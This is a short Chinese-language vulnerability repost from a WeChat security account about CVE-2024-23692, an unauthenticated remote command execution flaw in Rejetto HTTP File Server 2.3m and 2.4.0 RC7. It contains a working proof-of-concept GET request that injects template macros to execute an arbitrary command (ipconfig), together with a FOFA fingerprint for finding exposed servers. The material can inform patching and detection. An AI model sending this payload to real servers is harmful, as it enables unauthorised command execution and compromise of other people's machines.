漏洞描述

HFS 是一个强大的 Web 基于的文件服务器，让你可以轻松地从你的硬盘上访问或分享文件，无需受限于空间和带宽。无论是在个人电脑还是移动设备上，只需通过浏览器，即可实现文件的即时共享。

Rejetto HTTP 文件服务器 2.3m 存在未经身份验证的 RCE，攻击者可以利用该漏洞执行任意命令。

影响版本

Rejetto HTTP File Server 2.4.0 RC7,Rejetto HTTP File Server 2.3m

FOFA

"HttpFileServer"

POC

GET /?n=%0A&cmd=ipconfig&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1

漏洞复现

nuclei运行结果

nuclei-poc已上传到知识星球

原文始发于微信公众号（CatalyzeSec）：CVE-2024-23692 HFS2.3 远程代码执行漏洞复现(POC)